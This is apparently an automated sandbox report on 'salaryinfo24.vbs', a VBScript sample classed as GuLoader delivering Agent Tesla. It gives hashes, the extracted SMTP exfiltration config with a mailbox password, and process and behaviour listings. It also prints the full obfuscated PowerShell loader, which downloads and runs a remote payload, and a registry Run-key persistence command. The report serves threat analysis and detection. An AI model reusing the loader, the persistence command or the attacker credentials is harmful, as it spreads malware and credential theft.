Analysis
-
max time kernel
149s -
max time network
156s -
platform
windows10-2004_x64 -
resource
win10v2004-20240319-en -
resource tags
arch:x64arch:x86image:win10v2004-20240319-enlocale:en-usos:windows10-2004-x64system -
submitted
28-03-2024 07:11
Static task
static1
Behavioral task
behavioral1
Sample
salaryinfo24.vbs
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
salaryinfo24.vbs
Resource
win10v2004-20240319-en
General
-
Target
salaryinfo24.vbs
-
Size
167KB
-
MD5
41bd6059396fdb7e5fd6692c003b58a0
-
SHA1
9da6c16a501a619e44652bf1eb3eea3012835f53
-
SHA256
9f20ac2fe0041feeda59946899fe0ae20d0d74de009990023102a7d902065324
-
SHA512
a79a1770e4aeefe5a72cc3478cd5fc59c9cfa85b9de644aef1e00c4971b065269c2f68e07223b3115695e88a0c798132fc2c8a52a6af4f0f44679ca5339ba119
-
SSDEEP
3072:UpK6/PeadLaz+kxSzn9Lj7rZeqGbHfNcckB+HGuG5Elx7d5czQON8Dh20PWgn:UpKyPeadLaz+k0zn1j7rZeqGbHfNcckk
Malware Config
Extracted
agenttesla
Protocol: smtp- Host:
mail.myhydropowered.com - Port:
587 - Username:
abacus@myhydropowered.com - Password:
0nVaQweHLu8RyVL - Email To:
heavywealth@myhydropowered.com
Signatures
-
AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
-
Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
-
Blocklisted process makes network request 1 IoCs
Processes:
WScript.exeflow pid process 5 3588 WScript.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
WScript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-817259280-2658881748-983986378-1000\Control Panel\International\Geo\Nation WScript.exe -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
wab.exereg.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-817259280-2658881748-983986378-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\FTSKIaM = "C:\\Users\\Admin\\AppData\\Roaming\\FTSKIaM\\FTSKIaM.exe" wab.exe Set value (str) \REGISTRY\USER\S-1-5-21-817259280-2658881748-983986378-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Startup key = "%Unbilleted% -w 1 $pseudoexperimental=(Get-ItemProperty -Path 'HKCU:\\Mulches\\').Udskrivningsskemaer;%Unbilleted% ($pseudoexperimental)" reg.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
-
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 78 api.ipify.org 79 api.ipify.org 80 ip-api.com -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
Processes:
wab.exepid process 4724 wab.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
Processes:
powershell.exewab.exepid process 1792 powershell.exe 4724 wab.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 1792 set thread context of 4724 1792 powershell.exe wab.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Modifies registry key 1 TTPs 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 9 IoCs
Processes:
powershell.exepowershell.exewab.exepid process 2088 powershell.exe 2088 powershell.exe 2088 powershell.exe 1792 powershell.exe 1792 powershell.exe 1792 powershell.exe 4724 wab.exe 4724 wab.exe 4724 wab.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
Processes:
powershell.exepid process 1792 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.exepowershell.exewab.exedescription pid process Token: SeDebugPrivilege 2088 powershell.exe Token: SeDebugPrivilege 1792 powershell.exe Token: SeDebugPrivilege 4724 wab.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
wab.exepid process 4724 wab.exe -
Suspicious use of WriteProcessMemory 16 IoCs
Processes:
WScript.exepowershell.exepowershell.exewab.execmd.exedescription pid process target process PID 3588 wrote to memory of 2088 3588 WScript.exe powershell.exe PID 3588 wrote to memory of 2088 3588 WScript.exe powershell.exe PID 2088 wrote to memory of 1792 2088 powershell.exe powershell.exe PID 2088 wrote to memory of 1792 2088 powershell.exe powershell.exe PID 2088 wrote to memory of 1792 2088 powershell.exe powershell.exe PID 1792 wrote to memory of 4724 1792 powershell.exe wab.exe PID 1792 wrote to memory of 4724 1792 powershell.exe wab.exe PID 1792 wrote to memory of 4724 1792 powershell.exe wab.exe PID 1792 wrote to memory of 4724 1792 powershell.exe wab.exe PID 1792 wrote to memory of 4724 1792 powershell.exe wab.exe PID 4724 wrote to memory of 4676 4724 wab.exe cmd.exe PID 4724 wrote to memory of 4676 4724 wab.exe cmd.exe PID 4724 wrote to memory of 4676 4724 wab.exe cmd.exe PID 4676 wrote to memory of 4892 4676 cmd.exe reg.exe PID 4676 wrote to memory of 4892 4676 cmd.exe reg.exe PID 4676 wrote to memory of 4892 4676 cmd.exe reg.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\salaryinfo24.vbs"1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "++$Utilgngeligheds;++$Utilgngeligheds;$Utilgngeligheds=$Utilgngeligheds-1;Function Metrologue ($Reprsentantskabsmder116){$klr=5;$klr++;For($Tidsmangler=5; $Tidsmangler -lt $Reprsentantskabsmder116.Length-1; $Tidsmangler+=$klr){$Defoamers = 'substring';$Hemophthalmia=$Reprsentantskabsmder116.$Defoamers.Invoke($Tidsmangler, 1);$Translinguate=$Translinguate+$Hemophthalmia}$Translinguate;}$Ditetikker=Metrologue 'Stregh Fol t ConctHovedp F rds Velf: ,her/konce/Lus.ndAfslrr Skmmi nchavParoteL,jev.For,ygskfteoOpsamoAgentg.ompolCallgeIndic.Fil,ece.envo.ctinmEnigm/K vituF.lescCivil? JueceSin,uxChildpDefi.o epetrPodettQu dr=Extrad.mrkeo KordwIchulnVa kbl O.kloZe,inaEternd Ver & Hyp,iSeismdtresi=Udjvn1IndbeXUnhid_Conne_Propy8 PardNcirklqDenatLAk ivQAnebiNSubsilFr trHDetalAHitle_h nvi4Lynchctwofo9SkglaRFal,km D,ciXUns,ekDogma6pr,pyzFlejnUE,heroNo.dl_.nworvVersigSchoouKikrtlFejleQ squ.7Indety .rug ';$Planeta=$Ditetikker.split([char]62);$Ditetikker=$Planeta[0];$Socialmedicinen=Metrologue 'CrossiBe.ameStartxFrper ';$See = Metrologue ' Rets\TrentsNidify FedtsHi.towGemmeo fr.pwNonna6 Plou4Inexp\RigelW digiiTwinenBypladFe,choS,rtswSr,etsKalvePspirooDadarwP raleVaricrTinw S Abm,hBoligeCosyelQuinilFatti\ S mlvUdvik1Aaben. ,ndi0ansta\Pettip panooSt,klwGormaeSkelerunplas udfohNonreeEnganlGe frlSynth..ropiePunctxIng neH nde ';&($Socialmedicinen) (Metrologue 'Marga$Triphspl.nleArbejkYernssForstu TurnaBaerelska.mfCasewoTermor So ibBaan r S eay lasdNarcoeF.nallSn kksTram,e KrisnModehs Stru=imbur$StemneCymo,nUnempvfinm :Ar ejwScramiGrandn b,ysdFwgriiAwatsrMu.ed ') ;&($Socialmedicinen) (Metrologue ' sti,$SociaSTidebeFors,e Dish=Otosk$Ar,ussStolpeNonlokPresosKno suMgli,a ,onglImmatfJubilo Lok rFacadb KapirMa.esy Prs,dKi,seeDatallVindisNonreeSvalenLammesTw fa+arbej$ nuseSTilsieWand e Scol ') ;&($Socialmedicinen) (Metrologue 'Gusta$proinK AqueoAn.ngmMon.rp TidseS,iedtSerumee.dogn EmphcSandse UnmarSvennsSmara .once= Vel. ,rnen(t,mpe(forskgm riawArsenmGa triMutes Forplw hati Ind nYardg3Galej2 Moll_LividpRiv.rr Capro Try.c st teOmstrsBa kss Inf, Piaro-KongeFEenty M.dstPIntror.ouffoBe ogcSkomaetjenesPrecosLesatIChiasdTegne= Teah$Feltr{VelstPOps.nIAr.epDForsk}Enact)Gonfa. .ogiCJussioProvimUdklam LeafaLastvnForbudBarseL B weiRemisndetereD.tan)Eig t .mel- endisSikkepAnt,glEpitsiHardwtRi ik Undfa[Afkrac Az.xhTiptiaTetrarterm.]Myome3Sladd4G.nok ');&($Socialmedicinen) (Metrologue 'Radil$S,mekAK,gnitErigetForere.esidnSto.at,riboi U,troPro.pn.dekosUnpre Husp.=Uddan Indek$ IsthKBegrdoaldremfe thpSeroge ErsttPiglieCoachnLancicVanr,ecrepyrBreatsAn el[ Blge$To.peKTri,uoPele,mTilvrpSarceeTelegtTaph e ag,pnContrcLo.sseUrethr ,eolsCowga. BrdmcBesmuoFuldtuElkernPul.otSailf-Nyska2 Show] Bedu ');&($Socialmedicinen) (Metrologue '.kubo$ TidsM,earbiAkklim Dem mHikkeo Fla o App dFadmo= r.gs( IndtT So ieLettisOverltKrust-G,vstPExtinaKure tFor,rhUnder ,ncy$UdpnsS Trylefav.peKitog)Lede, Dross-viscoAExcepnEkspodLsbod C tha(Sagin[ Ru.eIStat.nSkab.t Bum.PElneatUngkarToxap]K ind: Obdu:Rett sinhumi NitazHuleke Subt ands-Mo,aseBedraqShei, ontr8 Wa,e)Downw ') ;if ($Mimmood) {.$See $Attentions;} else {;$Frihedsbervelserne=Metrologue 'TomboS.lloftSchooaGiganr urwtZagua-CurviBTantriRegartKystlsSeapiTtri.arC.lsiaCerutnMountsugunsffemkae ForkrSpoil Sekre-,nneaSBiviaoBacchuretinr PaabchieroeTilba Mist$ usenDklarlitilsmtko.teeFunnitVal fiOrobakPuckekNeighe MinirDesse phym-pilg.DVersaeC.selsGush tG,nasij.stindokuma.dtalt thori GramoFlossnVishn Eup,$Arbejs,dloseNymfok Ku,asPedeluUnd.raFor.klOpk.mfPycnooS otsrWoolsbHypotrSlatcyDiscadEscoreTilbal.gerksTronfeUnpranappensKoor ';&($Socialmedicinen) (Metrologue 'Orr.o$FallesS adseAbscikBu,easRecliu Bru a.amselSociafT,ksto Sextr SamabcontrrFrigiyMillidRdby,eTomlelDistas ucusePeronnN.ttesSvrge=F.rie$ClunkeCrewinsketcv jert: ToetaSist p orfgpResiddBorgea FisstBejdsa Idep ') ;&($Socialmedicinen) (Metrologue 'Met,zImacr,m KaffpForm oBlo mr Sydat Till- hjemMUnperoDecatdAutomutelevl kontebeslu LovbrBMa.jai,rivitbap.isTjrehTdeterrPube.aEjendnDeskrsad,rdfT angeVerr r,hary ') ;$seksualforbrydelsens=$seksualforbrydelsens+'\Socialbegivenhed.Mis';while (-not $Reaccess) {&($Socialmedicinen) (Metrologue 'Pausa$dis aR DolieOmnira V,dic RebacUdfakeInhumsRespusDisho=,rund( MennT AftreOuttasSavagt Relu-.ysnoPOversa AswitSkydehOmsti F.lla$UnpitsSkrideSvendkRkenssAn aruFinlnaSchumlReprifAlvisoRetsprAfprobindanrAnt,ky Copad,ilmse nderlTagalsBlinde ApplnRetrosUndig)Feuda ') ;&($Socialmedicinen) $Frihedsbervelserne;&($Socialmedicinen) (Metrologue 'KraveStokentatheraArch,r .midtVokab-Ch cqSEm yrlDroskeStatueAnisyp Offe A.gus5Fo re ');$Ditetikker=$Planeta[$Djibouti++%$Planeta.count];}&($Socialmedicinen) (Metrologue ' Afm,$GlebeW Per.iInflun RestdToluioSkrudwS.rdaeNogendAssor8Un,he4Fe.do Risot= Para KolonGCureleSuprat Ove,- Pan C bstoBttennudplatRattoeHiccunRaphatBolig Lo.om$Bo,frs LadkeCi ilkamtets Eneru,evyea Fi,elGelatfRoucooBobnirHul ibXenomr EskayGetupdStorme rythl Gi,ssRestaeSt.nunHakkesAnfrs ');&($Socialmedicinen) (Metrologue 'E,tra$UnflanB,aase Angip .eniaRadiolGifteepromisWeig,iJo.udsTindekS,der D,spe=Moons Hedge[korfiSEarwiyFemkmsplagitWagnae ShremGipni.Oste,CThreaoT,ermnDimetvWe.tneAchi r,epott Ce l] Redo:Whigg:Mo uaFNonrerRe.reo,kattmOntolBHvssea Fl msTrvleeFdrel6S,ste4Suga SArsmet Ifrer.tilniCunctnUn,ergUdson(Skole$ StofW Ultri wettnSte bdLynbroProgrwUglereBal.adUnund8Appel4dipo,)Myelo ');&($Socialmedicinen) (Metrologue 'Repet$ca.baKBifroa,rusnn neumj BehoaAr,ors Pun, egn= .sen Vi ks[Rom.nSCystey TyvesEupadt.evineSirenmHairs.FichuTPlysseOphrfxMat,ot C,ic.EndopEKo frnFu ktcklatgoSystedSvingiM,kronBrolgg Lorn]Maled: Bimb:Deli AS,minSBlankC.ilkeITrachISkrif.LykkeGUnatte Nynatl.yerSS mtytM strrTekstiEnevrnFjerng ival(P,ano$KvatonKomp,eMisfopFors a Undel Forse.apabspyeliiTele.sUnshakKabin)Ti,lg ');&($Socialmedicinen) (Metrologue 'Thimb$ForgaR InteeSo,rbk CarrtStandiThermfAtt.iimu,kecFontie Fem.rDen,giPhycon HoopgDedukeLoqfonConci=Staph$Pa,goKove faUddepnStilej ,rowa FisksMenne.ElefssRockyuPlectbPe,nisTerritsteeprNonhoiHand.n RedugCocco(Paami3 Fab 1Styli9Nonsy3Vokse1Dis,r0busko,Tro.h2,pilo4 Cest0Gumbo2 ring4Jocoq)Sackm ');&($Socialmedicinen) $Rektificeringen;}"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "++$Utilgngeligheds;++$Utilgngeligheds;$Utilgngeligheds=$Utilgngeligheds-1;Function Metrologue ($Reprsentantskabsmder116){$klr=5;$klr++;For($Tidsmangler=5; $Tidsmangler -lt $Reprsentantskabsmder116.Length-1; $Tidsmangler+=$klr){$Defoamers = 'substring';$Hemophthalmia=$Reprsentantskabsmder116.$Defoamers.Invoke($Tidsmangler, 1);$Translinguate=$Translinguate+$Hemophthalmia}$Translinguate;}$Ditetikker=Metrologue 'Stregh Fol t ConctHovedp F rds Velf: ,her/konce/Lus.ndAfslrr Skmmi nchavParoteL,jev.For,ygskfteoOpsamoAgentg.ompolCallgeIndic.Fil,ece.envo.ctinmEnigm/K vituF.lescCivil? JueceSin,uxChildpDefi.o epetrPodettQu dr=Extrad.mrkeo KordwIchulnVa kbl O.kloZe,inaEternd Ver & Hyp,iSeismdtresi=Udjvn1IndbeXUnhid_Conne_Propy8 PardNcirklqDenatLAk ivQAnebiNSubsilFr trHDetalAHitle_h nvi4Lynchctwofo9SkglaRFal,km D,ciXUns,ekDogma6pr,pyzFlejnUE,heroNo.dl_.nworvVersigSchoouKikrtlFejleQ squ.7Indety .rug ';$Planeta=$Ditetikker.split([char]62);$Ditetikker=$Planeta[0];$Socialmedicinen=Metrologue 'CrossiBe.ameStartxFrper ';$See = Metrologue ' Rets\TrentsNidify FedtsHi.towGemmeo fr.pwNonna6 Plou4Inexp\RigelW digiiTwinenBypladFe,choS,rtswSr,etsKalvePspirooDadarwP raleVaricrTinw S Abm,hBoligeCosyelQuinilFatti\ S mlvUdvik1Aaben. ,ndi0ansta\Pettip panooSt,klwGormaeSkelerunplas udfohNonreeEnganlGe frlSynth..ropiePunctxIng neH nde ';&($Socialmedicinen) (Metrologue 'Marga$Triphspl.nleArbejkYernssForstu TurnaBaerelska.mfCasewoTermor So ibBaan r S eay lasdNarcoeF.nallSn kksTram,e KrisnModehs Stru=imbur$StemneCymo,nUnempvfinm :Ar ejwScramiGrandn b,ysdFwgriiAwatsrMu.ed ') ;&($Socialmedicinen) (Metrologue ' sti,$SociaSTidebeFors,e Dish=Otosk$Ar,ussStolpeNonlokPresosKno suMgli,a ,onglImmatfJubilo Lok rFacadb KapirMa.esy Prs,dKi,seeDatallVindisNonreeSvalenLammesTw fa+arbej$ nuseSTilsieWand e Scol ') ;&($Socialmedicinen) (Metrologue 'Gusta$proinK AqueoAn.ngmMon.rp TidseS,iedtSerumee.dogn EmphcSandse UnmarSvennsSmara .once= Vel. ,rnen(t,mpe(forskgm riawArsenmGa triMutes Forplw hati Ind nYardg3Galej2 Moll_LividpRiv.rr Capro Try.c st teOmstrsBa kss Inf, Piaro-KongeFEenty M.dstPIntror.ouffoBe ogcSkomaetjenesPrecosLesatIChiasdTegne= Teah$Feltr{VelstPOps.nIAr.epDForsk}Enact)Gonfa. .ogiCJussioProvimUdklam LeafaLastvnForbudBarseL B weiRemisndetereD.tan)Eig t .mel- endisSikkepAnt,glEpitsiHardwtRi ik Undfa[Afkrac Az.xhTiptiaTetrarterm.]Myome3Sladd4G.nok ');&($Socialmedicinen) (Metrologue 'Radil$S,mekAK,gnitErigetForere.esidnSto.at,riboi U,troPro.pn.dekosUnpre Husp.=Uddan Indek$ IsthKBegrdoaldremfe thpSeroge ErsttPiglieCoachnLancicVanr,ecrepyrBreatsAn el[ Blge$To.peKTri,uoPele,mTilvrpSarceeTelegtTaph e ag,pnContrcLo.sseUrethr ,eolsCowga. BrdmcBesmuoFuldtuElkernPul.otSailf-Nyska2 Show] Bedu ');&($Socialmedicinen) (Metrologue '.kubo$ TidsM,earbiAkklim Dem mHikkeo Fla o App dFadmo= r.gs( IndtT So ieLettisOverltKrust-G,vstPExtinaKure tFor,rhUnder ,ncy$UdpnsS Trylefav.peKitog)Lede, Dross-viscoAExcepnEkspodLsbod C tha(Sagin[ Ru.eIStat.nSkab.t Bum.PElneatUngkarToxap]K ind: Obdu:Rett sinhumi NitazHuleke Subt ands-Mo,aseBedraqShei, ontr8 Wa,e)Downw ') ;if ($Mimmood) {.$See $Attentions;} else {;$Frihedsbervelserne=Metrologue 'TomboS.lloftSchooaGiganr urwtZagua-CurviBTantriRegartKystlsSeapiTtri.arC.lsiaCerutnMountsugunsffemkae ForkrSpoil Sekre-,nneaSBiviaoBacchuretinr PaabchieroeTilba Mist$ usenDklarlitilsmtko.teeFunnitVal fiOrobakPuckekNeighe MinirDesse phym-pilg.DVersaeC.selsGush tG,nasij.stindokuma.dtalt thori GramoFlossnVishn Eup,$Arbejs,dloseNymfok Ku,asPedeluUnd.raFor.klOpk.mfPycnooS otsrWoolsbHypotrSlatcyDiscadEscoreTilbal.gerksTronfeUnpranappensKoor ';&($Socialmedicinen) (Metrologue 'Orr.o$FallesS adseAbscikBu,easRecliu Bru a.amselSociafT,ksto Sextr SamabcontrrFrigiyMillidRdby,eTomlelDistas ucusePeronnN.ttesSvrge=F.rie$ClunkeCrewinsketcv jert: ToetaSist p orfgpResiddBorgea FisstBejdsa Idep ') ;&($Socialmedicinen) (Metrologue 'Met,zImacr,m KaffpForm oBlo mr Sydat Till- hjemMUnperoDecatdAutomutelevl kontebeslu LovbrBMa.jai,rivitbap.isTjrehTdeterrPube.aEjendnDeskrsad,rdfT angeVerr r,hary ') ;$seksualforbrydelsens=$seksualforbrydelsens+'\Socialbegivenhed.Mis';while (-not $Reaccess) {&($Socialmedicinen) (Metrologue 'Pausa$dis aR DolieOmnira V,dic RebacUdfakeInhumsRespusDisho=,rund( MennT AftreOuttasSavagt Relu-.ysnoPOversa AswitSkydehOmsti F.lla$UnpitsSkrideSvendkRkenssAn aruFinlnaSchumlReprifAlvisoRetsprAfprobindanrAnt,ky Copad,ilmse nderlTagalsBlinde ApplnRetrosUndig)Feuda ') ;&($Socialmedicinen) $Frihedsbervelserne;&($Socialmedicinen) (Metrologue 'KraveStokentatheraArch,r .midtVokab-Ch cqSEm yrlDroskeStatueAnisyp Offe A.gus5Fo re ');$Ditetikker=$Planeta[$Djibouti++%$Planeta.count];}&($Socialmedicinen) (Metrologue ' Afm,$GlebeW Per.iInflun RestdToluioSkrudwS.rdaeNogendAssor8Un,he4Fe.do Risot= Para KolonGCureleSuprat Ove,- Pan C bstoBttennudplatRattoeHiccunRaphatBolig Lo.om$Bo,frs LadkeCi ilkamtets Eneru,evyea Fi,elGelatfRoucooBobnirHul ibXenomr EskayGetupdStorme rythl Gi,ssRestaeSt.nunHakkesAnfrs ');&($Socialmedicinen) (Metrologue 'E,tra$UnflanB,aase Angip .eniaRadiolGifteepromisWeig,iJo.udsTindekS,der D,spe=Moons Hedge[korfiSEarwiyFemkmsplagitWagnae ShremGipni.Oste,CThreaoT,ermnDimetvWe.tneAchi r,epott Ce l] Redo:Whigg:Mo uaFNonrerRe.reo,kattmOntolBHvssea Fl msTrvleeFdrel6S,ste4Suga SArsmet Ifrer.tilniCunctnUn,ergUdson(Skole$ StofW Ultri wettnSte bdLynbroProgrwUglereBal.adUnund8Appel4dipo,)Myelo ');&($Socialmedicinen) (Metrologue 'Repet$ca.baKBifroa,rusnn neumj BehoaAr,ors Pun, egn= .sen Vi ks[Rom.nSCystey TyvesEupadt.evineSirenmHairs.FichuTPlysseOphrfxMat,ot C,ic.EndopEKo frnFu ktcklatgoSystedSvingiM,kronBrolgg Lorn]Maled: Bimb:Deli AS,minSBlankC.ilkeITrachISkrif.LykkeGUnatte Nynatl.yerSS mtytM strrTekstiEnevrnFjerng ival(P,ano$KvatonKomp,eMisfopFors a Undel Forse.apabspyeliiTele.sUnshakKabin)Ti,lg ');&($Socialmedicinen) (Metrologue 'Thimb$ForgaR InteeSo,rbk CarrtStandiThermfAtt.iimu,kecFontie Fem.rDen,giPhycon HoopgDedukeLoqfonConci=Staph$Pa,goKove faUddepnStilej ,rowa FisksMenne.ElefssRockyuPlectbPe,nisTerritsteeprNonhoiHand.n RedugCocco(Paami3 Fab 1Styli9Nonsy3Vokse1Dis,r0busko,Tro.h2,pilo4 Cest0Gumbo2 ring4Jocoq)Sackm ');&($Socialmedicinen) $Rektificeringen;}"3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"4⤵
- Adds Run key to start application
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Unbilleted% -w 1 $pseudoexperimental=(Get-ItemProperty -Path 'HKCU:\Mulches\').Udskrivningsskemaer;%Unbilleted% ($pseudoexperimental)"5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\reg.exeREG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Unbilleted% -w 1 $pseudoexperimental=(Get-ItemProperty -Path 'HKCU:\Mulches\').Udskrivningsskemaer;%Unbilleted% ($pseudoexperimental)"6⤵
- Adds Run key to start application
- Modifies registry key
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4000 --field-trial-handle=2252,i,3429015581403167983,2708022432612919502,262144 --variations-seed-version /prefetch:81⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_42iwpfco.gpn.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
memory/1792-35-0x00000000066C0000-0x00000000066DE000-memory.dmpFilesize
120KB
-
memory/1792-55-0x0000000077DF1000-0x0000000077F11000-memory.dmpFilesize
1.1MB
-
memory/1792-36-0x0000000006700000-0x000000000674C000-memory.dmpFilesize
304KB
-
memory/1792-57-0x0000000008CB0000-0x000000000B2C4000-memory.dmpFilesize
38.1MB
-
memory/1792-37-0x0000000005130000-0x0000000005140000-memory.dmpFilesize
64KB
-
memory/1792-18-0x00000000050E0000-0x0000000005116000-memory.dmpFilesize
216KB
-
memory/1792-19-0x00000000753D0000-0x0000000075B80000-memory.dmpFilesize
7.7MB
-
memory/1792-20-0x0000000005130000-0x0000000005140000-memory.dmpFilesize
64KB
-
memory/1792-21-0x0000000005770000-0x0000000005D98000-memory.dmpFilesize
6.2MB
-
memory/1792-22-0x00000000056E0000-0x0000000005702000-memory.dmpFilesize
136KB
-
memory/1792-23-0x0000000005F10000-0x0000000005F76000-memory.dmpFilesize
408KB
-
memory/1792-38-0x0000000008080000-0x00000000086FA000-memory.dmpFilesize
6.5MB
-
memory/1792-34-0x00000000061B0000-0x0000000006504000-memory.dmpFilesize
3.3MB
-
memory/1792-52-0x0000000007DD0000-0x0000000007DD1000-memory.dmpFilesize
4KB
-
memory/1792-75-0x00000000753D0000-0x0000000075B80000-memory.dmpFilesize
7.7MB
-
memory/1792-77-0x0000000008CB0000-0x000000000B2C4000-memory.dmpFilesize
38.1MB
-
memory/1792-24-0x0000000005F80000-0x0000000005FE6000-memory.dmpFilesize
408KB
-
memory/1792-39-0x0000000007820000-0x000000000783A000-memory.dmpFilesize
104KB
-
memory/1792-40-0x0000000007910000-0x00000000079A6000-memory.dmpFilesize
600KB
-
memory/1792-41-0x00000000078C0000-0x00000000078E2000-memory.dmpFilesize
136KB
-
memory/1792-42-0x0000000008700000-0x0000000008CA4000-memory.dmpFilesize
5.6MB
-
memory/1792-43-0x0000000007CC0000-0x0000000007CE2000-memory.dmpFilesize
136KB
-
memory/1792-44-0x0000000007D50000-0x0000000007D64000-memory.dmpFilesize
80KB
-
memory/1792-54-0x0000000008CB0000-0x000000000B2C4000-memory.dmpFilesize
38.1MB
-
memory/1792-53-0x0000000008CB0000-0x000000000B2C4000-memory.dmpFilesize
38.1MB
-
memory/1792-47-0x00000000753D0000-0x0000000075B80000-memory.dmpFilesize
7.7MB
-
memory/1792-49-0x0000000005130000-0x0000000005140000-memory.dmpFilesize
64KB
-
memory/1792-50-0x0000000005130000-0x0000000005140000-memory.dmpFilesize
64KB
-
memory/1792-51-0x0000000005130000-0x0000000005140000-memory.dmpFilesize
64KB
-
memory/2088-45-0x00007FFAFEC10000-0x00007FFAFF6D1000-memory.dmpFilesize
10.8MB
-
memory/2088-80-0x00007FFAFEC10000-0x00007FFAFF6D1000-memory.dmpFilesize
10.8MB
-
memory/2088-4-0x0000019D760D0000-0x0000019D760F2000-memory.dmpFilesize
136KB
-
memory/2088-17-0x0000019D76610000-0x0000019D76620000-memory.dmpFilesize
64KB
-
memory/2088-46-0x0000019D76610000-0x0000019D76620000-memory.dmpFilesize
64KB
-
memory/2088-16-0x0000019D76610000-0x0000019D76620000-memory.dmpFilesize
64KB
-
memory/2088-14-0x00007FFAFEC10000-0x00007FFAFF6D1000-memory.dmpFilesize
10.8MB
-
memory/2088-15-0x0000019D76610000-0x0000019D76620000-memory.dmpFilesize
64KB
-
memory/4724-72-0x0000000000F90000-0x00000000021E4000-memory.dmpFilesize
18.3MB
-
memory/4724-74-0x0000000000F90000-0x0000000000FD2000-memory.dmpFilesize
264KB
-
memory/4724-58-0x0000000077DF1000-0x0000000077F11000-memory.dmpFilesize
1.1MB
-
memory/4724-76-0x00000000753D0000-0x0000000075B80000-memory.dmpFilesize
7.7MB
-
memory/4724-59-0x0000000077E78000-0x0000000077E79000-memory.dmpFilesize
4KB
-
memory/4724-56-0x00000000021F0000-0x0000000004804000-memory.dmpFilesize
38.1MB
-
memory/4724-83-0x0000000022FE0000-0x0000000023030000-memory.dmpFilesize
320KB
-
memory/4724-84-0x00000000230D0000-0x0000000023162000-memory.dmpFilesize
584KB
-
memory/4724-85-0x0000000023030000-0x000000002303A000-memory.dmpFilesize
40KB
-
memory/4724-86-0x00000000021F0000-0x0000000004804000-memory.dmpFilesize
38.1MB
-
memory/4724-89-0x00000000753D0000-0x0000000075B80000-memory.dmpFilesize
7.7MB